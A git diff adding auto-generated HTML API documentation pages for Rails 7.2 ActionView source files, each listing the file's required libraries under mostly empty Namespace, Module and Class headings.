diff --git a/src/7.2/files/actionview/lib/action_view/helpers/rendering_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/rendering_helper_rb.html new file mode 100644 index 0000000000..c49a57e323 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/rendering_helper_rb.html @@ -0,0 +1,74 @@ +--- +title: rendering_helper.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/sanitize_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/sanitize_helper_rb.html new file mode 100644 index 0000000000..69ed609e40 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/sanitize_helper_rb.html @@ -0,0 +1,84 @@ +--- +title: sanitize_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails-html-sanitizer
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/tag_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/tag_helper_rb.html new file mode 100644 index 0000000000..f4c52c707b --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/tag_helper_rb.html @@ -0,0 +1,96 @@ +--- +title: tag_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/code_generator
  • + +
  • active_support/core_ext/enumerable
  • + +
  • active_support/core_ext/string/output_safety
  • + +
  • active_support/core_ext/string/inflections
  • + +
  • set
  • + +
  • action_view/helpers/capture_helper
  • + +
  • action_view/helpers/output_safety_helper
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/tags_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/tags_rb.html new file mode 100644 index 0000000000..1897ed4d2e --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/tags_rb.html @@ -0,0 +1,74 @@ +--- +title: tags.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/text_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/text_helper_rb.html new file mode 100644 index 0000000000..e558fad7a6 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/text_helper_rb.html @@ -0,0 +1,92 @@ +--- +title: text_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/string/filters
  • + +
  • active_support/core_ext/string/access
  • + +
  • active_support/core_ext/array/extract_options
  • + +
  • action_view/helpers/sanitize_helper
  • + +
  • action_view/helpers/tag_helper
  • + +
  • action_view/helpers/output_safety_helper
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/translation_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/translation_helper_rb.html new file mode 100644 index 0000000000..d8ec511d9f --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/translation_helper_rb.html @@ -0,0 +1,86 @@ +--- +title: translation_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_view/helpers/tag_helper
  • + +
  • active_support/html_safe_translation
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/url_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/url_helper_rb.html new file mode 100644 index 0000000000..bd49cde24f --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/url_helper_rb.html @@ -0,0 +1,92 @@ +--- +title: url_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/array/access
  • + +
  • active_support/core_ext/hash/keys
  • + +
  • active_support/core_ext/string/output_safety
  • + +
  • action_view/helpers/content_exfiltration_prevention_helper
  • + +
  • action_view/helpers/tag_helper
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers_rb.html b/src/7.2/files/actionview/lib/action_view/helpers_rb.html new file mode 100644 index 0000000000..7f1c70dc87 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers_rb.html @@ -0,0 +1,128 @@ +--- +title: helpers.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/benchmarkable
  • + +
  • action_view/helpers/capture_helper
  • + +
  • action_view/helpers/output_safety_helper
  • + +
  • action_view/helpers/tag_helper
  • + +
  • action_view/helpers/url_helper
  • + +
  • action_view/helpers/sanitize_helper
  • + +
  • action_view/helpers/text_helper
  • + +
  • action_view/helpers/active_model_helper
  • + +
  • action_view/helpers/asset_tag_helper
  • + +
  • action_view/helpers/asset_url_helper
  • + +
  • action_view/helpers/atom_feed_helper
  • + +
  • action_view/helpers/cache_helper
  • + +
  • action_view/helpers/content_exfiltration_prevention_helper
  • + +
  • action_view/helpers/controller_helper
  • + +
  • action_view/helpers/csp_helper
  • + +
  • action_view/helpers/csrf_helper
  • + +
  • action_view/helpers/date_helper
  • + +
  • action_view/helpers/debug_helper
  • + +
  • action_view/helpers/form_tag_helper
  • + +
  • action_view/helpers/form_helper
  • + +
  • action_view/helpers/form_options_helper
  • + +
  • action_view/helpers/javascript_helper
  • + +
  • action_view/helpers/number_helper
  • + +
  • action_view/helpers/rendering_helper
  • + +
  • action_view/helpers/translation_helper
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/layouts_rb.html b/src/7.2/files/actionview/lib/action_view/layouts_rb.html new file mode 100644 index 0000000000..614490c3a2 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/layouts_rb.html @@ -0,0 +1,84 @@ +--- +title: layouts.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_view/rendering
  • + +
  • active_support/core_ext/module/redefine_method
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/log_subscriber_rb.html b/src/7.2/files/actionview/lib/action_view/log_subscriber_rb.html new file mode 100644 index 0000000000..3dab192e74 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/log_subscriber_rb.html @@ -0,0 +1,87 @@ +--- +title: log_subscriber.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/log_subscriber
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/lookup_context_rb.html b/src/7.2/files/actionview/lib/action_view/lookup_context_rb.html new file mode 100644 index 0000000000..4bd16f7369 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/lookup_context_rb.html @@ -0,0 +1,93 @@ +--- +title: lookup_context.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • concurrent/map
  • + +
  • active_support/core_ext/module/attribute_accessors
  • + +
  • action_view/template/resolver
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/model_naming_rb.html b/src/7.2/files/actionview/lib/action_view/model_naming_rb.html new file mode 100644 index 0000000000..b11d7122f9 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/model_naming_rb.html @@ -0,0 +1,70 @@ +--- +title: model_naming.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/path_registry_rb.html b/src/7.2/files/actionview/lib/action_view/path_registry_rb.html new file mode 100644 index 0000000000..9f387732de --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/path_registry_rb.html @@ -0,0 +1,70 @@ +--- +title: path_registry.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/path_set_rb.html b/src/7.2/files/actionview/lib/action_view/path_set_rb.html new file mode 100644 index 0000000000..62bc230a3c --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/path_set_rb.html @@ -0,0 +1,70 @@ +--- +title: path_set.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/railtie_rb.html b/src/7.2/files/actionview/lib/action_view/railtie_rb.html new file mode 100644 index 0000000000..97a50a7a1d --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/railtie_rb.html @@ -0,0 +1,86 @@ +--- +title: railtie.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_view
  • + +
  • rails
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/record_identifier_rb.html b/src/7.2/files/actionview/lib/action_view/record_identifier_rb.html new file mode 100644 index 0000000000..9b2802f672 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/record_identifier_rb.html @@ -0,0 +1,82 @@ +--- +title: record_identifier.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module
  • + +
  • action_view/model_naming
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/render_parser/prism_render_parser_rb.html b/src/7.2/files/actionview/lib/action_view/render_parser/prism_render_parser_rb.html new file mode 100644 index 0000000000..8dbe39d892 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/render_parser/prism_render_parser_rb.html @@ -0,0 +1,72 @@ +--- +title: prism_render_parser.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/render_parser/ripper_render_parser_rb.html b/src/7.2/files/actionview/lib/action_view/render_parser/ripper_render_parser_rb.html new file mode 100644 index 0000000000..ddcaa2a1d2 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/render_parser/ripper_render_parser_rb.html @@ -0,0 +1,72 @@ +--- +title: ripper_render_parser.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/render_parser_rb.html b/src/7.2/files/actionview/lib/action_view/render_parser_rb.html new file mode 100644 index 0000000000..8ec9e107d1 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/render_parser_rb.html @@ -0,0 +1,82 @@ +--- +title: render_parser.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • prism
  • + +
  • ripper
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/renderer/abstract_renderer_rb.html b/src/7.2/files/actionview/lib/action_view/renderer/abstract_renderer_rb.html new file mode 100644 index 0000000000..8893de4658 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/renderer/abstract_renderer_rb.html @@ -0,0 +1,89 @@ +--- +title: abstract_renderer.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • concurrent/map
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/renderer/collection_renderer_rb.html b/src/7.2/files/actionview/lib/action_view/renderer/collection_renderer_rb.html new file mode 100644 index 0000000000..09d93029e9 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/renderer/collection_renderer_rb.html @@ -0,0 +1,87 @@ +--- +title: collection_renderer.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_view/renderer/partial_renderer
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/renderer/object_renderer_rb.html b/src/7.2/files/actionview/lib/action_view/renderer/object_renderer_rb.html new file mode 100644 index 0000000000..8b7f8e0d6c --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/renderer/object_renderer_rb.html @@ -0,0 +1,70 @@ +--- +title: object_renderer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/renderer/partial_renderer/collection_caching_rb.html b/src/7.2/files/actionview/lib/action_view/renderer/partial_renderer/collection_caching_rb.html new file mode 100644 index 0000000000..542b6278e3 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/renderer/partial_renderer/collection_caching_rb.html @@ -0,0 +1,80 @@ +--- +title: collection_caching.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/enumerable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/renderer/partial_renderer_rb.html b/src/7.2/files/actionview/lib/action_view/renderer/partial_renderer_rb.html new file mode 100644 index 0000000000..6163b9190d --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/renderer/partial_renderer_rb.html @@ -0,0 +1,87 @@ +--- +title: partial_renderer.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_view/renderer/partial_renderer/collection_caching
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/renderer/renderer_rb.html b/src/7.2/files/actionview/lib/action_view/renderer/renderer_rb.html new file mode 100644 index 0000000000..16bbfdc1ef --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/renderer/renderer_rb.html @@ -0,0 +1,77 @@ +--- +title: renderer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/renderer/streaming_template_renderer_rb.html b/src/7.2/files/actionview/lib/action_view/renderer/streaming_template_renderer_rb.html new file mode 100644 index 0000000000..cad30a55fd --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/renderer/streaming_template_renderer_rb.html @@ -0,0 +1,80 @@ +--- +title: streaming_template_renderer.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • fiber
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/renderer/template_renderer_rb.html b/src/7.2/files/actionview/lib/action_view/renderer/template_renderer_rb.html new file mode 100644 index 0000000000..eab40398b9 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/renderer/template_renderer_rb.html @@ -0,0 +1,72 @@ +--- +title: template_renderer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/rendering_rb.html b/src/7.2/files/actionview/lib/action_view/rendering_rb.html new file mode 100644 index 0000000000..60221aeca7 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/rendering_rb.html @@ -0,0 +1,89 @@ +--- +title: rendering.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_view/view_paths
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/routing_url_for_rb.html b/src/7.2/files/actionview/lib/action_view/routing_url_for_rb.html new file mode 100644 index 0000000000..0ba88c3db3 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/routing_url_for_rb.html @@ -0,0 +1,88 @@ +--- +title: routing_url_for.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch/routing/polymorphic_routes
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template/error_rb.html b/src/7.2/files/actionview/lib/action_view/template/error_rb.html new file mode 100644 index 0000000000..a299879116 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template/error_rb.html @@ -0,0 +1,89 @@ +--- +title: error.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/enumerable
  • + +
  • active_support/syntax_error_proxy
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template/handlers/builder_rb.html b/src/7.2/files/actionview/lib/action_view/template/handlers/builder_rb.html new file mode 100644 index 0000000000..b70b28c79f --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template/handlers/builder_rb.html @@ -0,0 +1,89 @@ +--- +title: builder.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • builder
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template/handlers/erb/erubi_rb.html b/src/7.2/files/actionview/lib/action_view/template/handlers/erb/erubi_rb.html new file mode 100644 index 0000000000..5c09bb97e2 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template/handlers/erb/erubi_rb.html @@ -0,0 +1,89 @@ +--- +title: erubi.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • erubi
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template/handlers/erb_rb.html b/src/7.2/files/actionview/lib/action_view/template/handlers/erb_rb.html new file mode 100644 index 0000000000..f4adb3c3ef --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template/handlers/erb_rb.html @@ -0,0 +1,91 @@ +--- +title: erb.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • strscan
  • + +
  • active_support/core_ext/erb/util
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template/handlers/html_rb.html b/src/7.2/files/actionview/lib/action_view/template/handlers/html_rb.html new file mode 100644 index 0000000000..b5cab71611 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template/handlers/html_rb.html @@ -0,0 +1,81 @@ +--- +title: html.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template/handlers/raw_rb.html b/src/7.2/files/actionview/lib/action_view/template/handlers/raw_rb.html new file mode 100644 index 0000000000..bea2ef7e5b --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template/handlers/raw_rb.html @@ -0,0 +1,81 @@ +--- +title: raw.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template/handlers_rb.html b/src/7.2/files/actionview/lib/action_view/template/handlers_rb.html new file mode 100644 index 0000000000..fec98cdede --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template/handlers_rb.html @@ -0,0 +1,79 @@ +--- +title: handlers.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template/html_rb.html b/src/7.2/files/actionview/lib/action_view/template/html_rb.html new file mode 100644 index 0000000000..ab4bad5d10 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template/html_rb.html @@ -0,0 +1,77 @@ +--- +title: html.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template/inline_rb.html b/src/7.2/files/actionview/lib/action_view/template/inline_rb.html new file mode 100644 index 0000000000..b3e457de2f --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template/inline_rb.html @@ -0,0 +1,77 @@ +--- +title: inline.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template/raw_file_rb.html b/src/7.2/files/actionview/lib/action_view/template/raw_file_rb.html new file mode 100644 index 0000000000..46e447c17c --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template/raw_file_rb.html @@ -0,0 +1,77 @@ +--- +title: raw_file.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template/renderable_rb.html b/src/7.2/files/actionview/lib/action_view/template/renderable_rb.html new file mode 100644 index 0000000000..c1d1ce3932 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template/renderable_rb.html @@ -0,0 +1,77 @@ +--- +title: renderable.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template/resolver_rb.html b/src/7.2/files/actionview/lib/action_view/template/resolver_rb.html new file mode 100644 index 0000000000..4c3918d5d8 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template/resolver_rb.html @@ -0,0 +1,99 @@ +--- +title: resolver.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • pathname
  • + +
  • active_support/core_ext/class
  • + +
  • active_support/core_ext/module/attribute_accessors
  • + +
  • action_view/template
  • + +
  • thread
  • + +
  • concurrent/map
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template/sources/file_rb.html b/src/7.2/files/actionview/lib/action_view/template/sources/file_rb.html new file mode 100644 index 0000000000..98f9689e6d --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template/sources/file_rb.html @@ -0,0 +1,81 @@ +--- +title: file.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template/sources_rb.html b/src/7.2/files/actionview/lib/action_view/template/sources_rb.html new file mode 100644 index 0000000000..a05050a1b7 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template/sources_rb.html @@ -0,0 +1,79 @@ +--- +title: sources.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template/text_rb.html b/src/7.2/files/actionview/lib/action_view/template/text_rb.html new file mode 100644 index 0000000000..13e12da838 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template/text_rb.html @@ -0,0 +1,77 @@ +--- +title: text.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template/types_rb.html b/src/7.2/files/actionview/lib/action_view/template/types_rb.html new file mode 100644 index 0000000000..583cbbbdbe --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template/types_rb.html @@ -0,0 +1,85 @@ +--- +title: types.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/attribute_accessors
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template_details_rb.html b/src/7.2/files/actionview/lib/action_view/template_details_rb.html new file mode 100644 index 0000000000..3f62441a1f --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template_details_rb.html @@ -0,0 +1,79 @@ +--- +title: template_details.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template_path_rb.html b/src/7.2/files/actionview/lib/action_view/template_path_rb.html new file mode 100644 index 0000000000..a2d34161d5 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template_path_rb.html @@ -0,0 +1,77 @@ +--- +title: template_path.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/template_rb.html b/src/7.2/files/actionview/lib/action_view/template_rb.html new file mode 100644 index 0000000000..c8ab337468 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/template_rb.html @@ -0,0 +1,91 @@ +--- +title: template.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • thread
  • + +
  • delegate
  • + +
  • prism
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/test_case_rb.html b/src/7.2/files/actionview/lib/action_view/test_case_rb.html new file mode 100644 index 0000000000..96f2c81e46 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/test_case_rb.html @@ -0,0 +1,111 @@ +--- +title: test_case.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/redefine_method
  • + +
  • action_controller
  • + +
  • action_controller/test_case
  • + +
  • action_view
  • + +
  • rails-dom-testing
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/testing/resolvers_rb.html b/src/7.2/files/actionview/lib/action_view/testing/resolvers_rb.html new file mode 100644 index 0000000000..5cb837278e --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/testing/resolvers_rb.html @@ -0,0 +1,91 @@ +--- +title: resolvers.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_view/template/resolver
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/unbound_template_rb.html b/src/7.2/files/actionview/lib/action_view/unbound_template_rb.html new file mode 100644 index 0000000000..4ca99083f6 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/unbound_template_rb.html @@ -0,0 +1,85 @@ +--- +title: unbound_template.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • concurrent/map
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/version_rb.html b/src/7.2/files/actionview/lib/action_view/version_rb.html new file mode 100644 index 0000000000..f26fcf8d15 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/version_rb.html @@ -0,0 +1,70 @@ +--- +title: version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/view_paths_rb.html b/src/7.2/files/actionview/lib/action_view/view_paths_rb.html new file mode 100644 index 0000000000..d4de679122 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/view_paths_rb.html @@ -0,0 +1,74 @@ +--- +title: view_paths.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
